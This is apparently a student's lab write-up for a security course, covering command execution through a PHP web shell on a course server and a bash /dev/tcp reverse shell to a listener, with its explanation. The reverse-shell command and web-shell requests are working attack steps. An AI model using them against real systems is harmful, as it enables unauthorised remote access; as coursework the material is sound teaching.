Reverse Shell - Devin Dennis

Part 1: Installing a PHP web shell

a. You can run the command by curling the site with this endpoint: curl http://danger.jeffondich.com/uploadedimages/dennisd2-webshell1.php?command=whoami

b. The <pre> tag keeps the text formatting for the command being executed

Part 2: Looking Around

a. www

b. The names are not accessible because I can't access the /etc/passwd folder. That folder contains the usernames on the machine

c. No, it was used to hold passwords

d. No, it has user information and hashed passwords. Only the root directory has access to this.

e. I found this in the secrets directory:

i. 

f. I found another file in the secrets directory called hi_jeff.txt. It contains: lazuli was here :) imagelist2.php is still up and usable.

Part 4: Launching a reverse shell

a. My Kali IP: 10.133.28.218. I found it by using this command: hostname -i

b. My Windows IP: 10.133.9.211. I ran this command: ipconfig. I chose this one because it's one of the VM network IPs that can be used to talk directly to the Virtual machine.

c. I ran it in PowerShell with this command: ncat -l -v 5555

d. http://10.0.2.15/dennisd2-webshell.php?command=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.239.1/555%200%3E%261%22
e. Yes, I'm able to run commands on it. I know it's Kali because if I run whoami it says kali
f. Those % codes are for special characters, such as %20 for space and %22 for double quote.
g. The decoded command bash -c "bash -i >& /dev/tcp/192.168.239.1/5555 0>&1" tells bash to run the quoted command (bash -c "..."), which starts an interactive shell (bash -i). That interactive shell redirects its standard output and standard error into a TCP connection by writing to /dev/tcp/192.168.239.1/5555. This opens a socket when used in a redirection, so >& /dev/tcp/192.168.239.1/5555 sends both output and errors to the remote host and port. Finally, 0>&1 redirects the shell's standard input from the same TCP socket (file descriptor 1), allowing the remote listener to send keystrokes into the shell. The net effect is that the bash process on the target opens an outbound TCP connection to the attacker and attaches its stdin/stdout/stderr to that socket, giving the attacker an interactive shell on the target.